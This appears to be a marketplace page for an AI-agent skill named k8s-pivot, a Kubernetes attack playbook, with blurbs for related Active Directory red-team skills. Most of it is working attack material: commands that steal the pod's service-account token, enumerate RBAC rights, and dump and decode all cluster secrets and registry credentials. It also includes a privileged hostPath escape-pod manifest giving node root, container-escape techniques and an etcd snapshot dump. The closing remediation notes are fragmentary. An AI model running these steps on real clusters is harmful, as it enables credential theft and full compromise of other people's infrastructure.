k8s-pivot
Kubernetes attack playbook — service-account token theft, RBAC abuse, pod escape, hostPath mount abuse, kube-api-server pivoting.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
菜单
Kubernetes attack playbook — service-account token theft, RBAC abuse, pod escape, hostPath mount abuse, kube-api-server pivoting.
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
基于 SOC 职业分类
Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.
Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.
BloodHound ingestion + canonical Cypher queries for AD attack-path enumeration. Run after collector dumps zip; promotes findings into the knowledge graph.
NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.
Active Directory attack lane — BloodHound ingestion, Kerberoasting, ADCS ESC scanning, DCSync, LAPS extraction.
Red team engagement lifecycle management — initiation, phase transitions, go/no-go gates, deconfliction, emergency procedures, completion.
| name | k8s-pivot |
| description | Kubernetes attack playbook — service-account token theft, RBAC abuse, pod escape, hostPath mount abuse, kube-api-server pivoting. |
| metadata | {"subdomain":"cloud","when_to_use":"kubernetes k8s pod escape cluster compromise lateral"} |
Inside a compromised pod:
# Service account token (default mount)
cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/sa.tok
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt > /tmp/ca.crt
# API server address
echo $KUBERNETES_SERVICE_HOST $KUBERNETES_SERVICE_PORT_HTTPS
# Or: env | grep KUBE
KUBECTL="kubectl --token=$(cat /tmp/sa.tok) --certificate-authority=/tmp/ca.crt \
--server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT_HTTPS"
# What can I do in my own namespace?
$KUBECTL auth can-i --list --namespace=$(cat .../namespace) > /tmp/can_ns.txt
# Cluster-wide?
$KUBECTL auth can-i --list > /tmp/can_cluster.txt
# Specifically check the high-value verbs
for verb in get list create delete patch update; do
for res in secrets pods deployments daemonsets nodes clusterroles rolebindings serviceaccounts; do
$KUBECTL auth can-i $verb $res --all-namespaces 2>/dev/null | \
grep -q yes && echo "$verb $res YES"
done
done > /tmp/verbs.txt
Atlas ingest:
k8s_audit("/tmp/can_cluster.txt")
| Verb + Resource | What it enables |
|---|---|
create pods | Create a pod with mount of host root, then RCE on node |
get secrets | Steal SA tokens, k8s API creds, dockercfg, TLS keys |
create serviceaccounts.tokens | Mint a new SA token w/ chosen TTL |
update/patch clusterrolebindings | Bind self to cluster-admin |
impersonate | Act as any user / SA |
create pods/exec | Exec into running pod → steal its token |
bind / escalate (on Role/ClusterRole) | Grant any permission |
create persistentvolumes (cluster-wide) | hostPath PV → read host fs |
create podsecuritypolicies (old K8s) | Author own permissive PSP |
create validatingwebhookconfigurations | Intercept apiserver requests |
create mutatingwebhookconfigurations | Modify any object on admission |
update nodes/status (rare) | Spoof node taints, evict pods |
# escape-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
spec:
hostPID: true # see all host PIDs
hostNetwork: true # bypass network policies
containers:
- name: shell
image: alpine
command: ["sh", "-c", "sleep 1d"]
securityContext:
privileged: true # CAP_*, no user-namespace remap, no AppArmor
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
type: Directory
$KUBECTL create -f escape-pod.yaml
$KUBECTL exec -it escape-pod -- chroot /host /bin/bash
# Now root on the underlying node
# All accessible secrets across namespaces
$KUBECTL get secrets --all-namespaces -o json > /tmp/secrets.json
jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) \(.type)"' /tmp/secrets.json
# Decode SA tokens
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") |
"\(.metadata.namespace)/\(.metadata.name) \(.data.token | @base64d)"' \
/tmp/secrets.json > /tmp/sa-tokens.txt
# Decode dockercfg / dockerconfigjson
jq -r '.items[] | select(.type=="kubernetes.io/dockerconfigjson") |
.data[".dockerconfigjson"] | @base64d' /tmp/secrets.json
| Primitive | Technique |
|---|---|
/var/run/docker.sock mounted in pod | docker exec on host containers → host root |
/run/containerd/containerd.sock | ctr cmd → escape |
CAP_SYS_ADMIN w/o user namespace | Mount syscall → reread cgroups → release_agent |
CAP_SYS_PTRACE | Inject into host PID 1 (only if hostPID:true) |
CAP_DAC_READ_SEARCH | Open arbitrary file by inode (CVE-2022-0185 era) |
| Kernel CVEs (Dirty Pipe, etc) | Standard linux escape from any container |
With cluster-admin token:
# List all nodes
$KUBECTL get nodes -o wide
# Each node has an internal IP — once you have host root, you have
# network reach to the underlying infra (etcd, cloud metadata, etc)
# Steal etcd snapshot via cluster-admin
$KUBECTL --raw '/api/v1/namespaces/kube-system/pods' > /tmp/all-pods.json
# Find etcd pod, exec, dump
$KUBECTL exec -n kube-system etcd-master -- \
etcdctl snapshot save /tmp/etcd.db --cacert=/etc/kubernetes/pki/etcd/ca.crt
kg_add_node(kind="vulnerability", label="K8s RBAC: <verb> on <resource>",
props={"severity":"<sev>","namespace":"<ns>","cluster":"<cluster>"})
kg_add_edge(src=<vuln>, dst=<crown_jewel:cluster-admin>, kind="reaches")
Metadata or higher, every kubectl op is recorded with user SA, verb, resource, response code.CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0automountServiceAccountToken: false)baseline minimum, restricted ideal)system:masters aliases to misnamed groups